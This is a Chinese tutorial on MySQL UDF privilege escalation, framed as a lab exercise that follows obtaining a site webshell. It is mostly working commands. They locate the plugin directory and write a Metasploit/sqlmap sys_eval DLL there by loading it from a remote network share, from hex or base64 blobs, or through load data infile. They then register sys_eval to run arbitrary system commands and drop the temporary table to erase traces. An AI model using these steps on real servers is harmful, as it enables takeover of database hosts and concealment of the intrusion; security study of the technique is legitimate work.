由于udf提权是需要构造UDF函数文件的,涉及到了写文件。所以本次实验已经将mysql的配置做了改动:–secure-file-priv=‘’
。
剧情须知:
secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
解决方法: 找到'my.cnf'或'my.ini',加入以下语句后重启mysql:
secure_file_priv=''
0x01 前言
首先,想要知道udf提权是怎么回事,首先要先知道udf是什么。
udf = 'user defined function'
即‘用户自定义函数’。
通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。
这里我们新建了一个非root用户: 附上mysql用户相关的操作语句:
#查看现有用户
select host,user,authentication_string from mysql.user;
#新建用户
create user "username"@"host" identified by "password";
#举个栗子
mysql->create user 'test'@'%' identified by '123';
host="localhost"为本地登录用户,host="ip"为ip地址登录,host="%",为外网ip登录
#删除用户
drop user 'username'@'host';
#授权
#授予用户通过外网IP对于该数据库的全部权限
grant all privileges on `test`.* to 'test'@'%' ;
#授予用户在本地服务器对该数据库的全部权限
grant all privileges on `test`.* to 'test'@'localhost';
grant select on test.* to 'user1'@'localhost'; /*给予查询权限*/
grant insert on test.* to 'user1'@'localhost'; /*添加插入权限*/
grant delete on test.* to 'user1'@'localhost'; /*添加删除权限*/
grant update on test.* to 'user1'@'localhost'; /*添加权限*/
flush privileges; /*刷新权限*/
#查看权限
show grants;
#查看某个用户的权限
show grants for 'jack'@'%';
#删除权限
revoke delete on test.* from 'jack'@'localhost';
0x02 如何使用udf
假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval('dir');的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。 所以,我们应该把‘udf.dll’中的自定义函数引入进来。
看看实例用法:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。 至此我们已经引入了sys_eval函数,下面就是使用了。 这个函数用于执行系统命令,用法如下:
select sys_eval('cmd command');
0x03 提权流程
现在我们已经知道了udf是什么,以及如何引入udf。下面我们要关注的就是提权了。其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。
下面来整理一下思路:
提权思路
- 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
- 从udf文件中引入自定义函数(user defined function)
- 执行自定义函数
先看第一步,拿到一个网站的webshell之后,在指定位置创建udf文件。如何创建?先别忘了,现在连源udf文件都没有。sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can't open shared library 'udf.dll'。
UDF提权版本条件
- Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
- Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
登录到MySQL后,查看一下当前用户的权限:
select * from mysql.user where user = substring_index(user(), '@', 1) ;
可以看到该用户的权限非常的高,并且可以对文件进行读写操作,因此我们可以考虑编写UDF DLL库以获得代码执行的能力。
然后来获取当前数据库及操作系统的架构情况:
select @@version_compile_os, @@version_compile_machine;
show variables like '%compile%';
从MySQL 5.0.67开始,UDF库必须包含在plugin文件夹中,我们可以使用@@ plugin_dir
全局变量找到该目录。该变量可以在mysql.ini文件中查看和编辑。
select @@plugin_dir ;
show variables like 'plugin%';
可以通过mysqld更改plugin的目录位置。
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
另一种方法是编写一个新的mysql配置文件,并通过–defaults-file参数将其传递给mysqld。
mysqld.exe --defaults-file=C:\\temp\\my.ini
‘my.ini’中的内容如下:
[mysqld]
plugin_dir = C:\\temp\\plugins\\
在旧版本中,你可以将DLL文件上传到以下位置并创建新的UDF函数。
@@datadir
@@basedir\bin
C:\windows
C:\windows\system
C:\windows\system32
上传UDF文件
有很多方法可以做到这一点
方法1
load_file函数支持网络路径。如果你可以将DLL复制到网络共享中,那么你就可以直接加载并将它写入磁盘。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
方法2
另一种方法是将整个DLL文件以十六进制编码后写入磁盘。
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';
select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
方法3
还有一种方法是创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
方法4
或者你也可以直接从磁盘将文件从网络共享加载到上面创建的表中,或使用“快速导入数据(load data infile)”语句在本地加载。将文件像上面显示的那样转换为十六进制,并在写入磁盘时解码。
load data infile '\\\\192.168.0.19\\network\\udf.hex'
into table temp fields terminated by '@OsandaMalith'
lines terminated by '@OsandaMalith' (data);
select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
其他
这里有个好消息,就是从MySQL 5.6.1和MariaDB 10.0.5开始,新增了to_base64和from_base64函数。如果你是一个善于绕过SQL注入WAF的人,相信你已经在使用这些函数了(提示:路由查询注入)。
select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll'))
into dumpfile '/tmp/udf.b64';
你可以编辑base64文件并通过以下方式将其dump到插件目录。
select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4
s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA
AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA")
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
之后,你可以像这样将整个文件传递给mysql。
mysql -h192.168.0.30 -uosanda -pabc123 < /tmp/udf.b64
你也可以从网络共享写入base64编码文件或使用“快速导入数据(load data infile)”语句在本地加载并通过以下语句dump。
select from_base64(data) from temp
into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
构造高权函数
能够走到这里,没有报错的话就说明已经在目标主机上成功生成了udf文件。
下面要构造udf函数:
1. DROP TABLE tmp; //为了删除痕迹,把刚刚新建的udftmp表删掉
2. CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数
这里构造的是,执行系统命令并在屏幕上通过标准输出显示的函数。除此之外还有许多其他的函数,文章末尾有freebuf的大佬有写的文章:
select * from mysql.func where name = 'sys_eval';
select sys_eval('dir');
如果需要删除这个函数的话:
drop function sys_eval;
0x04 参考链接
https://www.cnblogs.com/litlife/p/9030673.html4
https://blog.csdn.net/x728999452/article/details/52413974
https://www.freebuf.com/articles/system/163144.html
https://www.php.cn/php-weizijiaocheng-403985.html
来源:oschina
链接:https://my.oschina.net/u/4265634/blog/4116519